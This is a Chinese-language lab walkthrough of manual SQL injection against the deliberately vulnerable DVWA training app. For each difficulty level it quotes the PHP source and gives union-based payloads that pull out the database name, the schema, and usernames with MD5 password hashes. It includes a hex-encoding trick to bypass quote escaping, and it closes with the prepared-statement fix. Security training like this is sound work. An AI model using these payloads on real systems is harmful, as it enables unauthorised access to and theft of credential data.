
DVWA SQL Injection实验 手工注入
Low难度
代码分析
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
上述代码未对输入进行过滤,我们输入的内容会传给$id
,因此可以考虑在输入上做文章
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';
注入探索
通过下列语句,展现整个数据表中的内容
1' or ' 1' =' 1

数据库查询
通过union
连接两个sql查询语句,尝试爆出数据库名称
1' union select 1,database()#

数据表查询
通过union
连接两个sql查询语句,尝试爆出数据表名称
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
数据表字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

数据表字段值
1' union select null, concat_ws(char(32,58,32),user,password) from users#
这里char(32,58,32)的意思是
:
#空格 冒号 空格
我们看到在使用concat_ws
后,输出格式username : password

数据库版本
1' union select version(),2#

数据库名称和用户名
1' union select database(),user()#

DVWA下所有的表名
1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa'#

user表里所有的字段名
1' union select column_name,2 from information_schema.columns where table_name = 'users'#

username和password字段值
1' union select user,password from users#

密码是经过MD5加密的,可以考虑使用在线工具或者其他方式进行解密
Medium难度
代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
上述代码使用mysql_real_escape_string
函数对输入的特殊字符进行了转义,同时在前端页面使用了下拉列表,将之前的get
请求更改为post
请求
抓包然后传到Repeater里进行复用调试

注入探索
1 or 1=1 #

数据库查询
1 union select 1,database() #

数据表查询
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

数据表字段名
正常思路发现报错了,这里是因为单引号被转义了,变成了\'
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

尝试换成16进制进行查询
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

username和password字段值
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

High难度
代码分析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
High难度的页面变成了单独的session-input.php
入口提交内容,然后再传到原来的页面,可以一定程度上防止一般的sqlmap注入,不过sqlmap还是很强大的,可以通过提升level来解决这个问题。
先抓包发送到repeater

然后进行复用可以查询到用户名和密码
只不过这次需要关闭之前的页面,然后在原来的界面上才能显示出来
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

Impossible难度
代码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
上述代码继续延续PDO技术,同时采用user-token验证的方式,防止CSRF攻击。
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